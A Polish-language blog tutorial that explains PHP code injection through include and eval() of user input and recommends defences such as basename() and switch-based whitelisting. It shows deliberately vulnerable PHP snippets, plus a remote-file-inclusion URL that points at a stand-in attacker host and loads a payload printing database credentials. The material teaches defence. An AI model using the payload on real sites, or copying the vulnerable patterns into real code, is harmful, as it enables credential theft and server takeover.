(Nie)bezpieczny kod – Code injection
W ostatnim artykule pokazywałem w jaki sposób można wstrzyknąć komendy systemowe (shell injection) do kodu aplikacji. Równie dobrze można wstrzyknąć kod PHP. Zobacz na czym polega metoda ataku code injection i jak się przed nią zabezpieczyć :).
Trochę teorii
Code injection polega na dołączeniu dowolnego skryptu PHP do wnętrza web aplikacji. W niezabezpieczonych stronach www luka ta umożliwia atakującemu przejęcie serwisu lub na jego poważne uszkodzenie. Serwis jest podatny na tego typu ataki w sytuacji, gdy instrukcja include lub funkcja eval() przyjmuje nieprzefiltrowane parametry wpisane przez użytkownika (np. z użyciem GET lub POST).
Przykładowy atak Code injection
Przeanalizujemy 2 możliwości ataku – z wykorzystaniem include oraz za pomocą funkcji eval().
Przykład 1 – include
Jeszcze kilka lat temu wiele prostych stron www miało mniej więcej taką strukturę:
<?php // Hasła do bazy danych define("LOGIN", "tajny login"); define("PASSWORD", "Tajne haslo");</p> /* Jakiś kod HTML... */ if(isset($GET['page'])) { include $GET['page']; }< /* Jakiś kod HTML... */
Nagłówek i stopka znajdowały się w głównym pliku, a sekcja z treścią była ładowana za pomocą parametru page. Adresy URL takiej strony wyglądają tak:
- http://jakastsrona.pl?page=onas.php
- http://jakastsrona.pl?page=oferta.php
- http://jakastsrona.pl?page=kontakt.php
Jeżeli użytkownik korzysta tylko z linków menu wszystko działa bez zarzutów, ale może przecież wpisać dowolny tekst, np.:
http://jakastsrona.pl?page=http://strona-atakujace.pl/atak.txt
Niech plik atak.txt zawiera taki kod:
<?php echo PASSWORD; ?>
W ten o to sposób atakujący może sobie wyświetlić zapisane w stałych dane dostępu do bazy danych. Oczywiście może wykonać i inny kod PHP – np. usunąć wszystkie pliki z serwera..
Przykład 2 – eval()
Ten przykład na pierwszy rzut oka powinien być niebezpieczny dla programisty:
<?php if(isset($GET['code'])) { eval($GET['code']); }
Taki kod wręcz otwiera szeroko drzwi dla każdego… :). Umożliwia na wykonanie dowolnego kodu podanego przez użytkownika.
Jak się zabezpieczyć przed Code injection?
Najlepiej unikać wykonywania include, a w szczególności eval() z parametrami pochodzącymi od użytkownika. Jeżeli jednak nie jesteś tego w stanie ominąć:
- Dla argumentu include stosuj funkcję basename()
- Dla funkcji eval() można wykorzystać konstrukcję switch… case i ograniczyć możliwość wykonywania PHP do listy dostępnych opcji.
Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.